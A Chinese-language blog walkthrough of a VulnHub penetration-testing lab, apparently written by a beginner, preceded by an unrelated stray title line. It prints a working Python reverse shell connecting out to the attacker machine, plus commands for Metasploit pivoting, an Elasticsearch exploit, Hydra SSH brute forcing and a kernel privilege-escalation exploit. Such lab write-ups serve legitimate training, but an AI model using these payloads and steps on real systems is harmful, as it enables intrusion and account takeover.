鹽城網站建設培訓班哈爾濱最新疫情
靶場介紹
靶場名:Medium_socialnetwork
下載地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
環(huán)境搭建
靶機建議選擇VM VirtualBox,我一開始嘗試使用VMware時會報錯,所以改用VM VirtualBox,攻擊機使用的是VMware中的kali,需要將VMware虛擬機kali和virtualbox靶機網絡連接設置,參考鏈接如下:
https://blog.csdn.net/xujj10086/article/details/123836792
運行好的靶場:
靶場練習
1.掃ip,掃端口
使用arp-scan進行靶場地址探測
arp-scan是Kali Linux自帶的一款ARP掃描工具。該工具可以進行單一目標掃描,也可以進行批量掃描。批量掃描的時候,用戶可以通過CIDR
地址范圍或者列表文件的方式指定。該工具允許用戶定制ARP包,構建非標準數據包。同時,該工具會自動解析Mac地址,給出MAC對應的硬件廠商,幫助用戶確認目標。
arp-scan -l
探測到靶場ip為192.168.0.194
使用nmap掃描端口,發(fā)現(xiàn)開放了22的ssh服務端口和5000端口,猜測5000端口為web服務端口。
訪問192.168.0.194:5000
英語不好,開個翻譯看看,原來是一個留言網站
輸入個123提示長度不夠,輸入123456成功留言
2.掃目錄,登后臺
暫時沒啥思路,那就掃目錄,突然發(fā)現(xiàn)我kali里沒安dirsearch,也對,我平時都直接在Windows里掃,那這次也就直接用Windows掃吧。
掃出來一個admin目錄,應該是后臺頁面,訪問一下
好家伙,這是能直接執(zhí)行代碼,也太草率了吧
執(zhí)行了一些linux命名,返回執(zhí)行失敗
直接看一眼wp,wp里說信息收集時發(fā)現(xiàn)是python寫的網站,我咋沒發(fā)現(xiàn),用Wappalyzer也沒識別出來
百度發(fā)現(xiàn)在kali中有個工具可以查看網站指紋信息,whatweb,于是嘗試一下,果然發(fā)現(xiàn)使用了python
利用執(zhí)行python代碼功能反彈shell
使用反彈shell命令生成的平臺,很方便
https://forum.ywhack.com/shell.php
kali先開啟監(jiān)聽
直接復制過去還是執(zhí)行不了的,因為這里給的都是在命令行里執(zhí)行的形式,頁面中也提示了使用exec()函數執(zhí)行
最后輸入代碼如下:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.0.3”,5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,“-i”]);
成功反彈shell
對獲取到的shell進行信息收集
先使用ls命令看一下目錄,發(fā)現(xiàn)有Docker文件,說明網站可能存在于docker容器中
使用ip a 或者ifconfig查看ip,發(fā)現(xiàn)ip地址和我們不一樣,說明可能是docker環(huán)境
判斷是否docker環(huán)境
方法一:判斷根目錄下 .dockerenv 文件
ls -alh /.dockerenv #非docker環(huán)境,沒有這個.dockerenv文件
方法二:查詢系統(tǒng)進程的cgroup信息
cat /proc/1/cgroup
Docker環(huán)境執(zhí)行如下
通過這兩種方式的驗證,證實了我們現(xiàn)在是在docker環(huán)境中,也就是在內網環(huán)境中
內網探測,使用msf
因為處于內網,而且這里的子網掩碼有16位,那么使用一個ping -c 1 ip去探測會過于漫長
所以我們使用一個循環(huán)代碼進行探測
for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done
發(fā)現(xiàn)一共存活了三個ip分別是172.17.0.1,172.17.0.2,172.17.0.3
為了接下來的探測方便,我們這里使用msf再次反彈shell
使用background將shell會話保存在msf中,方便以后直接連接,然后使用sessions -u 1 將普通的shell升級為meterpreter的shell,相對于普通的shell會有更多的功能
自動添加路由、添加代理
首先使用sessions 2 進入meterpreter中
run autoroute -p #打印活動路由表
run post/multi/manage/autoroute #自動創(chuàng)建路由
bg #將當前會話移動到后臺 bg - background的別名
route print #查看路由表命令
添加代理,設置SRVPORT為1234
use auxiliary/server/socks_proxy
vi /etc/proxychains.conf #添加代理
使用代理探測內網ip信息
proxychains nmap -sV -sT 172.17.0.1
proxychains nmap -sV -sT 172.17.0.2
這里沒跑出來,百度了一下,解決方法如下:
proxychains nmap -PN -sT 172.17.0.2
跑出來了9200端口
在kali中的火狐瀏覽器設置代理
訪問172.17.0.2:9200
利用漏洞登錄ssh
可以看到網站使用了elasticsearch1.4.2,我們去查一下這個版本所存在的漏洞
searchsploit elasticsearch
searchsploit -p 36337.py #查看第一個POC所在路徑
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2 #執(zhí)行poc腳本
ls發(fā)現(xiàn)有密碼文件
查看后發(fā)現(xiàn)是md5值
將root用戶的密碼md5值放到md5在線解密網站上嘗試解碼,還真解出來了
嘗試進行ssh連接,發(fā)現(xiàn)root登錄不上ssh,于是又去看wp,發(fā)現(xiàn)原來這里是要使用暴力破解工具進行爆破,找出其中可以連接ssh的賬號。使用的工具為Hydra(九頭蛇),kali中就有。
先分別把這幾條md5都解出來(這個就要各顯神通了),放到一個txt中,將用戶名也放到一個txt中,準備好后就可以上九頭蛇了。
hydra -L user.txt -P pass.txt ssh://192.168.0.194
很順利的跑出了可以登錄ssh的用戶和密碼
然后我們使用這個賬號密碼進行ssh登錄
ssh john@192.168.0.194
成功登錄
提權
提權這方面我了解的比較少,就直接跟著wp走了
先嘗試sudo提權,失敗
查看有無suid權限的文件,沒有
uname -a 顯示系統(tǒng)信息
可以看出linux內核版本為3.13.0,于是查找一下這個版本有無漏洞
searchsploit Linux 3.13.0
可以看到37292.c比較合適,查看一下腳本的絕對路徑
查看代碼,發(fā)現(xiàn)需要gcc編譯(我看不懂,代碼審計水平太菜了)
靶機環(huán)境中沒有gcc
那么我們將編譯好的文件和修改過的c代碼運送到靶機運行,將代碼里面要到gcc編譯的地方刪除(真是個好方法,大佬動手能力太強了)
將下圖中選中的代碼刪除:
搜索編譯好的ofs-lib.so
將37292.c編譯,生成exp文件
gcc 37292.c -o exp
使用python將文件上傳到靶機中
攻擊機這邊開啟臨時服務
靶機那邊使用wget命令下載文件
因為編譯的文件要在/tmp目錄下,將文件轉移到/tmp目錄下
執(zhí)行腳本,提權成功,獲得root權限
總結
1.這是我第一次進行滲透測試靶場的練習,斷斷續(xù)續(xù)打了一整天,而且還是一直看著wp打的,感覺很多東西都是第一次接觸。
2.對kali中的工具了解較少,msf的使用也不夠熟練,linux命令也不夠熟悉,提權部分修改代碼那部分更是超出了我的能力范圍,雖然能理解將代碼中需要編譯的東西在外面直接編譯好再發(fā)過去這個操作,但是光憑自己去看代碼的話肯定是看不出來要刪哪部分代碼的。
3.九頭蛇這個工具也是第一次用,感覺很強大。
4.判斷是否docker環(huán)境的操作也是第一次見識到,學到了很多。
參考鏈接
感謝大佬們的wp,沒有大佬的wp,我寸步難行。
http://www.syrr.cn/news/35168.html?action=onClick
https://mp.weixin.qq.com/s/kkGPzcaNgr17488cUWAg8Q